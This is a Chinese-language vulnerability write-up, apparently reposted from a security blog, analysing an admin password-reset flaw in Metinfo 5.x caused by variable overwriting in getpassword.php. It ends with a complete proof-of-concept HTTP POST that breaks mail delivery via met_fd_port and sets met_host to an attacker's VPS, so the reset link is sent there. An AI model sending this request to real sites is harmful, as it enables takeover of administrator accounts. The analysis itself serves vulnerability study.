Metinfo 5.x 管理员密码重置漏洞

Posted hac425

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Metinfo 5.x 管理员密码重置漏洞相关的知识,希望对你有一定的参考价值。

前言

在先知看到了一篇分析该漏洞的文章,复现分析一下,漏洞还是比较有趣的。

正文

首先知道是 管理员密码重置时出现的问题,于是抓包,定位到相关的php文件。

技术分享图片

首先包含了 ../include/common.inc.php , 在这个文件中可以搞清楚对我们提交参数的处理。

技术分享图片

把提交的参数注册为变量, 这样的代码非常容易形成变量覆盖漏洞。

getpassword.php 中 首先注册提交的参数为变量,然后生成重置密码的连接,最后发送出去。问题就出在发送链接的流程中。

技术分享图片
发送时首先通过 jmailsend 发送,如果发送失败,则使用 curl_post 重发一遍。

curl_post中会向 met_host:80 发送 POST 数据, 而我们可以利用 变量覆盖 设置  met_host 为我们自己的 vps, 然后我们就可以接收到密码重置连接了。

技术分享图片

下面就是要让程序能进入该流程。

jmailsendmet_fd_port 为邮件服务器的 端口,我们使用 变量覆盖 设置 met_fd_port 为一个随机端口,就会导致 $mail->Send() 发送失败 返回 false, 然后就可以进入 curl_post
技术分享图片

最后的 poc:

POST /admin/admin/getpassword.php HTTP/1.1
Host: hack.metinfo.net
Content-Length: 115
Cache-Control: max-age=0
Origin: http://hack.metinfo.net
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://hack.metinfo.net/admin/admin/getpassword.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=10334; re_url=http%3A%2F%2Fhack.metinfo.net%2Fadmin%2F
Connection: close

action=next2&abt_type=2&admin_mobile=admin&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&met_fd_port=8569&met_host=your_vps_ip

vps的 80端口就可以接收到

技术分享图片

总结

拿到一套程序首先看看对提交数据的处理,如果有 变量覆盖 漏洞,就去可能出现漏洞的功能代码里面看看能不能利用 变量覆盖 漏洞,一些不好静态看的东西,可以自己测试一下。

参考

https://xianzhi.aliyun.com/forum/topic/2097#toc-0



以上是关于Metinfo 5.x 管理员密码重置漏洞的主要内容,如果未能解决你的问题,请参考以下文章

怎么修复网站漏洞之metinfo远程SQL注入漏洞修补

MetInfo 6.0.0反馈管理页面存储XSS(CVE-2018-7721)分析

Metinfo 6.0.0 众多漏洞分析

一些常见的重置密码漏洞分析整理

一些常见的重置密码漏洞分析整理

关于METINFO5.3漏洞引发的变量覆盖漏洞